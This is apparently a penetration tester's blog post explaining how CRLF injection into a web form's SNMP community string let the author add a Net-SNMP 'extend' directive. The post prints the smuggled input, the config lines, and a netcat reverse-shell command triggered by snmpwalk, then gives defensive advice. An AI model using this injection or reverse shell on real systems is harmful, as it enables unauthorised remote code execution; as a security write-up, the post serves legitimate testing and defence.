SNMP Config File Injection to Shell
Thurs 19th April 18
On a web app test this afternoon I found that I was able to inject arbitrary content into an SNMP config file and then have the service restart using the updated file. As I could already use the web interface to change the community string and allow access to whatever IP addresses I wanted, I though it was an interesting but low level finding. Luckily I mentioned the issue to Sandro Gauci who said that he had heard it was possible to have the SNMP server run shell commands when accessed in certain ways. This sounded much more fun than being able to just add a few lines into a config file so I started digging.
I knew the server was running Debian (yes, those low level info leaks do come in handy!) which meant it was probably running the standard Net-SNMP package and after a bit of searching I found this really useful blog post on Extending snmpd using shell scripts.
The initial config file I had to work with was fairly basic:
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
And I was able to add new entries to it to give different IP addresses or ranges their own community string:
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
rocommunity notpublic 172.16.10.0/24
From the blog post I'd read, the line I wanted to add would be based on this:
extend test /bin/echo hello
This tells the snmp service that when it gets asked for extended information, to run the echo command and then return its output with the extended parameter name test. Based on this, I submitted the following new entry.
test 10.1.1.1%0a%0dextend test /bin/echo hello
The %0a%0d in the middle gets decoded into a new line and carriage return which gave me this in the config file:
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
rocommunity notpublic 172.16.10.0/24
rocommunity test 10.1.1.1
extend test /bin/echo hello
Perfect, now to connect to the server and see if it worked:
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1
No luck, I got this error:
nsExtendOutput1: Unknown Object Identifier (Sub-id not found: (top) -> nsExtendOutput1)
After a lot of searching I came across this article Installing net-snmp MIBs on Ubuntu and Debian which explains that due to licence issues, Ubuntu only ships with a subset of available MIBs and that to use the full set you have to install an extra package and update your client config file. After doing that, I tried again:
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test" = STRING: hello
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."test" = STRING: hello
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."test" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."test" = INTEGER: 0
Jackpot, the MIB update had worked, so had the echo command, and I got my output. If, along with this output you get a bunch of errors that start with this line:
Bad operator (INTEGER): At line 73 in /usr/share/mibs/ietf/SNMPv2-PDU
Don't worry about it, it doesn't seem to affect what we are doing here. If you want to fix it, this post tells how to do it: How to fix net-snmp / snmpwalk errors
Now all that was left was to get a shell. Luckily, the Netcat package that comes with Debian is the version that has the -e parameter (again, info leaks are great, some distros come with a version without -e so you'd need to use a different technique). Using this, I injected a simple reverse shell command into the config, set up my listener and re-ran the snmpwalk command. This is the final snmp.conf file:
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
rocommunity notpublic 172.16.10.0/24
rocommunity test 10.1.1.1
extend test /bin/echo hello
rocommunity test 10.1.1.2
extend shell /bin/nc 192.168.0.1 4444 -e /bin/bash
The netcat listener:
$ nc -l -p 4444
id
uid=113(Debian-snmp) gid=119(Debian-snmp) groups=119(Debian-snmp)
And the snmpwalk command to trigger it:
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test" = STRING: hello
Timeout: No Response from 192.168.0.100
The timeout here is expected, the snmp thread handling the request fires off the shell and doesn't return so the client gives up waiting and times out.
One last gotcha, the snmp service doesn't have a PATH set up so all commands and files must use absolute paths, e.g. /bin/nc not just nc.
Play along at home
It is fairly simple to set this up in your own lab. To test things for this post, I started up a Debian VM, installed the snmpd package through apt and then chopped the default config file down to what I started with on the client's box. Assuming you've got connectivity from your attackers box, that is all you need. Just remember to test the basic setup with snmpwalk before you start making changes, just to be sure things are working.
Defences
There does not appear to be a formal definition of what characters can be used in the community string however various companies have defined their own standard. Most allow the standard alphanumeric character set plus a selection of symbols and while I'm not usually a fan of limiting character sets, doing it here seems reasonable as long as you don't get too restrictive. Once you've defined your character set, it is an easy job to write a regex to check the inputs.
The alternative is to strip out or encode known bad characters, such as new lines. The problem with doing this is that you have to think of all possible bad characters, if you miss one then the attack can use it against you. Having said that, adding a call to strip new lines out would not add significant overhead and would have saved the client in this instance.
And that is it, from a simple file injection to shell, hope you enjoyed it.